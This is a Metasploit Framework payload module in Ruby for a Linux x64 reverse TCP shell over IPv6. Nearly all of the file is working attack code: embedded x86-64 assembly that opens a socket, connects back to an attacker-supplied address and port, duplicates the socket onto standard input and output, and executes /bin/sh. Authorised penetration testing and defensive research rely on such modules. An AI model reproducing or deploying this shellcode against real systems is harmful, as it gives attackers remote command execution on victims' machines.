modules/payloads/singles/linux/x64/shell_reverse_ipv6_tcp.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
CachedSize = 90
include Msf::Payload::Single
include Msf::Payload::Linux
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Linux x64 Command Shell, Reverse TCP Inline (IPv6)',
'Description' => 'Connect back to attacker and spawn a command shell over IPv6',
'Author' => 'epi <epibar052[at]gmail.com>',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_X64,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShellUnix,
))
register_options([
OptInt.new('SCOPEID', [false, "IPv6 scope ID, for link-local addresses", 0])
])
end
def convert_input(value, padding, reverse=false)
# converts value to comma separated string of
# zero-padded bytes to be used in the db instruction
arr = value.to_s(16).rjust(padding, "0").scan(/../)
if reverse
arr = arr.reverse
end
arr.map{ |x| sprintf("0x%02x", x.hex) }.join(',')
end
def generate(opts={})
# 22 -> "0x00,0x16"
# 4444 -> "0x11,0x5c"
tcp_port = convert_input(datastore['LPORT'], 4)
# 0 -> "0x00,0x00,0x00,0x00"
scope_id = convert_input(datastore['SCOPEID'], 8, true)
# ::1 -> "0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01"
# dead:beef:2::1009 -> "0xde,0xad,0xbe,0xef,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x09"
ipv6_addr = convert_input(IPAddr.new(datastore['LHOST'], Socket::AF_INET6).to_i, 32)
payload = <<-EOS
socket_call:
; int socket(int domain, int type, int protocol)
push 0x29
pop rax ; socket syscall
push 0xa
pop rdi ; AF_INET6
push 0x1
pop rsi ; SOCK_STREAM
xor edx,edx ; auto-select protocol
syscall
push rax
pop rdi ; store socket fd
jmp get_address ; jmp-call-pop
populate_sockaddr_in6:
; struct sockaddr_in6 {
; sa_family_t sin6_family; /* AF_INET6 */
; in_port_t sin6_port; /* port number */
; uint32_t sin6_flowinfo; /* IPv6 flow information */
; struct in6_addr sin6_addr; /* IPv6 address */
; uint32_t sin6_scope_id; /* Scope ID (new in 2.4) */
; };
; struct in6_addr {
; unsigned char s6_addr[16]; /* IPv6 address */
; };
pop rsi ; store pointer to struct
connect_call:
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
; rdi -> already contains server socket fd
; rsi -> already contains pointer to sockaddr_in6 struct
push 0x2a
pop rax ; connect syscall
push 0x1c
pop rdx ; length of sockaddr_in6 (28)
syscall
dup2_calls:
; int dup2(int oldfd, int newfd);
; rdi -> already contains server socket fd
push 0x3
pop rsi ; newfd
dup2_loop:
; 2 -> 1 -> 0 (3 iterations)
push 0x21
pop rax ; dup2 syscall
dec esi
syscall
loopnz dup2_loop
exec_call:
; int execve(const char *filename, char *const argv[], char *const envp[]);
push 0x3b
pop rax ; execve call
cdq ; zero-out rdx via sign-extension
mov rbx, '/bin/sh'
push rbx
push rsp
pop rdi ; address of /bin/sh
syscall
get_address:
call populate_sockaddr_in6
; sin6_family(2), sin6_port(2), sin6_flowinfo(4), sockaddr_in6(16), sin6_scope_id(4)
db 0x0a,0x00,#{tcp_port},0x00,0x00,0x00,0x00,#{ipv6_addr},#{scope_id}
EOS
Metasm::Shellcode.assemble(Metasm::X86_64.new, payload).encode_string
end
end